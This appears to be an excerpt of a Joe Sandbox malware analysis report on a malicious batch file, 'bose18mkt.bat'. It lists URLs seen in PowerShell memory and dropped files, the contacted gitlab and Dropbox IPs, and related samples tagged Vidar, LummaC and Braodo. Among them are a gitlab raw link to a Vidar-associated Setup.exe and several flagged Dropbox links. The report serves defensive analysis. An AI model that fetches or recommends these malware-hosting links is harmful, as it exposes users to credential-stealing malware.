https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.1557295812.00000213E50A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1557295812.00000213E51E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D69E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1760740291.000001605AB5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1760740291.000001605AA28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2697181809.000002DD9006A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue19734	test_venv.py.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/copyreg.py	copyreg.html.16.dr	false		high
https://peps.python.org/pep-0475/	functions.html.16.dr, exceptions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/functions.rst	functions.html.16.dr	false		high
https://officeapps-df.live.com	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/howto/sorting.html	sorting.html.16.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.1541443556.00000213D5031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1710253454.000001604A9B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2616652786.000002DD80001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/doc/html/rfc7230.html	http.client.html.16.dr	false		high
https://www.dropbox.com/playlist/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_advertising_campaign_and_collaboration.docx?	powershell.exe, 0000000C.00000002.1541006099.00000213D3226000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.recaptcha.net/	powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/copyreg.html	copyreg.html.16.dr	false		high
https://www.dropbox.com	powershell.exe, 0000000C.00000002.1541443556.00000213D61AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.2616652786.000002DD80227000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.2616652786.000002DD80227000.00000004.00000800.00020000.00000000.sdmp	false		high
http://eprint.iacr.org/2002/067.pdf	ARC4.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
https://new-sentry.gitlab.net	powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000010.00000002.2697181809.000002DD9006A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jvns.ca/blog/2023/01/13/examples-of-floating-point-problems/	powershell.exe, 00000010.00000002.2616652786.000002DD80227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/pypa	index.html1.16.dr	false		high
https://peps.python.org/pep-0387/	exceptions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc6532.html	email.parser.html.16.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/gzip.py	gzip.html.16.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.2616652786.000002DD80227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0594/#cgi	cgi.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	logging-cookbook.html.16.dr	false		high
https://docs.python.org/3/	http.client.html.16.dr	false		high
http://%s/not/found.h	test_urllib2net.py.16.dr	false	Avira URL Cloud: safe	unknown
http://docs.python.org/3/license.html	ssl_match_hostname.py.16.dr	false		high
https://github.com/python/cpython/blob/main/Doc/installing/index.rst	index.html1.16.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/archiving.rst	archiving.html.16.dr	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	ssl_match_hostname.py.16.dr	false		high
https://docs.python.org/3/library/exceptions.html	exceptions.html.16.dr	false		high
https://gitlab.com/admin/	powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/speedscope/index.html	powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0342/#new-generator-method-close	test_yield_from.py.16.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue20053	test_venv.py.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/installing/index.html	index.html1.16.dr	false		high
https://docs.python.org/3/library/atexit.html	atexit.html.16.dr	false		high
https://eprint.iacr.org/2005/033)	_mode_openpgp.py.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/http/client.py	http.client.html.16.dr	false		high
https://dl-web.dropbox.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/main/Doc/library/decimal.rst	decimal.html.16.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/graphlib.py	graphlib.html.16.dr	false		high
https://app.hellofax.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc8017#page-67	pss.cpython-312.pyc.16.dr	false		high
https://packaging.python.org/installing/	index.html1.16.dr	false		high
http://www.pythontest.net/redir/with_frag/	test_urllib2net.py.16.dr	false	Avira URL Cloud: safe	unknown
http://tix.sourceforge.net.	powershell.exe, 00000010.00000002.2616652786.000002DD82546000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2616652786.000002DD8253A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-api-index.html	asyncio-api-index.html.16.dr	false		high
https://docs.python.org/3/library/crypt.html	crypt.html.16.dr	false		high
https://www.hellofax.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/main/Doc/library/email.parser.rst	email.parser.html.16.dr	false		high
https://packaging.python.org/installing/#requirements-for-installing-packages	index.html1.16.dr	false		high
https://www.dropbox.com/pithos/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue12524">https://bugs.python.org/issue12524</a>'	http.client.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/asyncio-api-index.rst	asyncio-api-index.html.16.dr	false		high
https://docs.python.org/3/library/concurrent.futures.html	concurrent.futures.html.16.dr	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0594/#crypt	crypt.html.16.dr	false	Avira URL Cloud: safe	unknown
https://gitlab.com/assets/	powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/tree/3.12/Lib/concurrent/futures/thread.py	concurrent.futures.html.16.dr	false		high
https://github.com/python/cpython/issues/104839	test_venv.py.16.dr	false		high
https://www.pyopenssl.org	pyopenssl.py.16.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/concurrent/futures/process.py	concurrent.futures.html.16.dr	false		high
https://docs.python.org/3/howto/instrumentation.html	instrumentation.html.16.dr	false		high
https://docs.python.org/3/library/functions.html	functions.html.16.dr	false		high
https://www.dropbox.com/static/api/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-3151/	exceptions.html.16.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.66.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557468
Start date and time:	2024-11-18 09:56:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bose18mkt.bat
Detection:	MAL
Classification:	mal84.evad.winBAT@28/1038@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 35 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.66.18	hnl2bose13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	2h2xLB9h1L.lnk	Get hash	malicious	Abobus Obfuscator	Browse
	13jhsfbose.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	scut18bo03.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	bose2scut18.bat	Get hash	malicious	Abobus Obfuscator	Browse
	18cut04.bat	Get hash	malicious	Abobus Obfuscator	Browse
	bose1511mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	pennicle.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.128.233
	hnl2bose13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://www.employee-ratings.com/107519/fab30a/abf4a385-1883-4e57-8ade-771c19e19962	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://app.powerbi.com/view?r=eyJrIjoiNjcyNzQ5NzAtNzgyNy00ZWU4LWI0YmEtNWI2ZTg2NjRlMzE2IiwidCI6ImJkMWRiODMyLWYwY2QtNDRiNS04ZTNjLTYxMmNlY2NhMjQ4ZSJ9&dp=688235	Get hash	malicious	Unknown	Browse	104.21.94.71
	#U051d==.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	https://listonelove.buzz/zoom/zoommm.html	Get hash	malicious	Unknown	Browse	104.21.90.224
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
DROPBOXUS	hnl2bose13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.66.18
	2h2xLB9h1L.lnk	Get hash	malicious	Abobus Obfuscator	Browse	162.125.66.18
	13jhsfbose.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.66.18
	scut18bo03.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.66.18
	bose2scut18.bat	Get hash	malicious	Abobus Obfuscator	Browse	162.125.66.18
	18cut04.bat	Get hash	malicious	Abobus Obfuscator	Browse	162.125.66.18
	bose1511mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse	162.125.66.18
	https://www.dropbox.com/l/scl/AABC0x3zULW7L39lSlgXhTBIyuorli3cJh8	Get hash	malicious	Unknown	Browse	162.125.1.20
	protected.ps1	Get hash	malicious	Unknown	Browse	162.125.65.18
	meerkat.spc.elf	Get hash	malicious	Mirai	Browse	162.125.189.88